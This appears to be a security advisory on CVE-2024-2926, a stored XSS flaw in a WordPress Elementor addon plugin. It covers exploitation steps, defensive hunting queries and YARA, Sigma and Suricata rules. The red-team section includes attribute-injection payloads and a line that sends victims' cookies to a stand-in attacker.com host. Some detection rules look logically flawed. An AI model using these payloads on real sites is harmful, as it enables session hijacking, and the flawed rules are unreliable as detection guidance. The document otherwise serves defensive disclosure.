CVE-2024-2926

Executive Summary

CVE-2024-2926 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Elementor Addons by Livemesh WordPress plugin, versions up to and including 8.3.7. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's widgets. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. These scripts execute whenever a user (including administrators) accesses the compromised page, leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The affected component is a third-party plugin distributed via the WordPress Plugin Directory. Users should verify the integrity of their plugin installation and monitor for official patches from Livemesh. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access but can lead to persistent compromise of WordPress sites, affecting all visitors.

Deep Dive & Mechanics

The vulnerability exists in the widget rendering logic of the Elementor Addons by Livemesh plugin. When a contributor-level user creates or edits a page using the plugin's widgets, user-supplied attributes (e.g., class, id, data-* attributes) are not properly sanitized or escaped before being output in the HTML. An attacker can inject JavaScript payloads into these attributes, which are then stored in the WordPress database. When any user (including administrators) views the page, the injected script executes in the context of the victim's browser.

The attack flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new page or edits an existing one using a vulnerable widget.
3. Attacker inserts a malicious payload into a widget attribute (e.g., onmouseover="alert('XSS')").
4. The payload is stored in the database without proper sanitization.
5. When a victim visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 8.3.7): The plugin likely uses esc_attr() or similar functions inconsistently, or fails to escape attributes in certain widget templates. Example vulnerable pattern:

// In a widget template
echo '<div class="' . $instance['custom_class'] . '">';

Here, $instance['custom_class'] is not sanitized, allowing injection of " onmouseover="alert(1).

Patched Code (Hypothetical): A patch would involve proper escaping using esc_attr() and wp_kses():

echo '<div class="' . esc_attr( $instance['custom_class'] ) . '">';

Additionally, output escaping should be applied to all user-controlled attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Elementor Addons by Livemesh <= 8.3.7.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Insert a vulnerable widget (e.g., "Service" or "Team Member").
4. In the widget's custom CSS class or other attribute field, inject:

   " onmouseover="alert(document.cookie)
   

5. Publish the page.
6. When an administrator or visitor views the page, the script executes.

Example Payload:

<div class="widget-element " onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Content</div>

Blue Team

Detection:

• Monitor for unusual widget attribute values in page/post content.
• Look for patterns like on*= or javascript: in custom CSS classes or data attributes.
• Use WAF rules to block common XSS payloads in POST requests.

Hunting:

• Query the WordPress database for posts containing suspicious HTML attributes:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%onmouseover=%' OR post_content LIKE '%onclick=%';
  

• Check for recent contributor-level activity creating or editing pages.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Host: Presence of JavaScript payloads in wp_posts.post_content or wp_postmeta.
• File: Modified plugin files (though unlikely, as the vulnerability is in core plugin code).
• Log: WordPress audit logs showing page edits by contributors with unusual attribute values.

Example IOC in Database:

post_content: ... <div class="widget-element " onmouseover="alert(1)"> ...

Detection Engineering

YARA Rule

rule CVE_2024_2926_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress posts related to CVE-2024-2926"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2926"
    strings:
        $payload1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $payload2 = /javascript\s*:/ nocase
        $payload3 = /<script[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2926 Stored XSS in WordPress Livemesh Elementor Addons
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WordPress posts via Livemesh plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/post.php"
        http.body|contains|all:
            - "livemesh"
            - "onmouseover"
            - "onclick"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2926 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"livemesh"; http_client_body; pcre:"/on\w+\s*=\s*[\x27\x22][^\x27\x22]*[\x27\x22]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.

Long-term Fix:

• Apply the official patch from Livemesh when released (currently UNKNOWN).
• Upgrade to a patched version (none available as of this report).
• Consider replacing the plugin with an alternative that is actively maintained.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add input sanitization rules.
• Manually audit and sanitize widget attributes via custom code.

Valters IT